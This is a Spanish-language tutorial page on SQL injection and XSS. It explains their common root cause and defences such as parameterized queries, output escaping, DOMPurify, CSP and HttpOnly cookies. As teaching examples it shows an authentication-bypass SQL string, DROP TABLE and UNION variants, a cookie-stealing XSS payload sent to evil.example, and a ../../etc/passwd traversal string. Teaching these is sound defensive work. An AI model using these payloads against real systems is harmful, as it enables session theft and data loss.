FundamentosSeguridad

Inyección SQL y XSS

Las dos inyecciones que llevan veinte años en el top de vulnerabilidades, su causa común y las defensas que las eliminan de raíz.

En esta página

La inyección SQL y el XSS parecen ataques distintos — uno golpea tu base de datos, el otro el navegador de tus usuarios — pero son el mismo error con dos disfraces: tu aplicación mezcló datos de un desconocido con código que algo va a ejecutar, y el intérprete no puede distinguirlos. Entiende esa raíz y las defensas dejan de ser recetas para memorizar.

Inyección SQL: datos que se convierten en consulta

Construyes la consulta concatenando lo que llegó del formulario:

// ❌ El texto del usuario ES parte del código SQL
const q = `SELECT * FROM usuarios WHERE email = '${email}' AND pass_hash = '${hash}'`;

Un atacante no escribe un email — escribe sintaxis:

email:  ' OR '1'='1' --
        └── la consulta resultante:
SELECT * FROM usuarios WHERE email = '' OR '1'='1' -- ' AND pass_hash = '...'

'1'='1' es siempre cierto y -- comenta el resto: la consulta devuelve la tabla entera y el atacante entra sin contraseña. Con variantes ('; DROP TABLE usuarios; --, UNION SELECT ...) se leen tablas ajenas o se destruyen.

La defensa: consultas parametrizadas

// ✅ El SQL y los datos viajan por canales separados
const q = 'SELECT * FROM usuarios WHERE email = $1 AND pass_hash = $2';
await pool.query(q, [email, hash]);

Con parámetros ($1, ? según el driver), la base de datos compila la consulta primero y recibe los datos después, ya como valores puros: el texto del atacante no puede convertirse en sintaxis, contenga lo que contenga. No es un filtro que se pueda esquivar — es un cambio de canal.

Los ORMs (Prisma, TypeORM, Sequelize) parametrizan por defecto; el riesgo regresa por sus puertas traseras ($queryRawUnsafe, sequelize.query con plantillas). Regla absoluta: jamás construyas SQL concatenando texto del usuario — ni “solo por esta vez”, ni escapando a mano.

XSS: datos que se convierten en script

La misma jugada, con el navegador como intérprete. Tu página muestra un comentario:

// ❌ El comentario ES parte del HTML
divComentarios.innerHTML = `<p>${comentario}</p>`;

El “comentario” del atacante:

<img src=x onerror="fetch('https://evil.example/robar?c=' + document.cookie)">

Ese script corre en el navegador de cada visitante, con la sesión de la víctima: puede robar cookies, leer lo que la víctima ve o actuar en su nombre. Y si el comentario quedó guardado en tu base de datos (XSS almacenado), infecta a todos los que pasen.

La defensa: escapar en la salida (y dejar que el framework lo haga)

// ✅ textContent trata el texto como texto, siempre
parrafo.textContent = comentario;

La regla de oro es escapar en el punto de salida: convertir < en &lt; justo cuando el dato entra en HTML. Los frameworks modernos (React, Vue, Svelte, Astro) lo hacen por defecto en sus plantillas — el XSS moderno casi siempre entra por las escotillas que lo desactivan: dangerouslySetInnerHTML, v-html, innerHTML a mano. Trátalas como material radiactivo.

  • ¿Necesitas HTML enriquecido del usuario (un editor)? Sanitiza con una librería de allowlist (DOMPurify) — nunca con regex propias.
  • CSP (Content-Security-Policy) como red de seguridad: aunque un script se cuele, el navegador se niega a ejecutarlo o a mandarlo a dominios ajenos.
  • Cookies de sesión con HttpOnly — invisible para JavaScript — para que un XSS no pueda robarlas, como viste en autenticación.

Validar y escapar no son lo mismo

La lista completa de intérpretes

La misma raíz produce inyección allá donde haya un intérprete escuchando: comandos de shell (exec('convert ' + nombreFichero)), rutas de fichero (../../etc/passwd), cabeceras HTTP, incluso los prompts de un LLM. La pregunta defensiva es siempre la misma: ¿este dato de fuera llega a algún intérprete? ¿Por qué canal? Si viaja mezclado con el código, tienes una inyección esperando su momento.

Por eso Injection lleva desde 2003 sin salir del OWASP Top 10 — no es un bug exótico: es el error más natural del mundo, cometido en cada lenguaje nuevo, en cada plantilla nueva, por cada generación nueva. Ahora ya no por ti.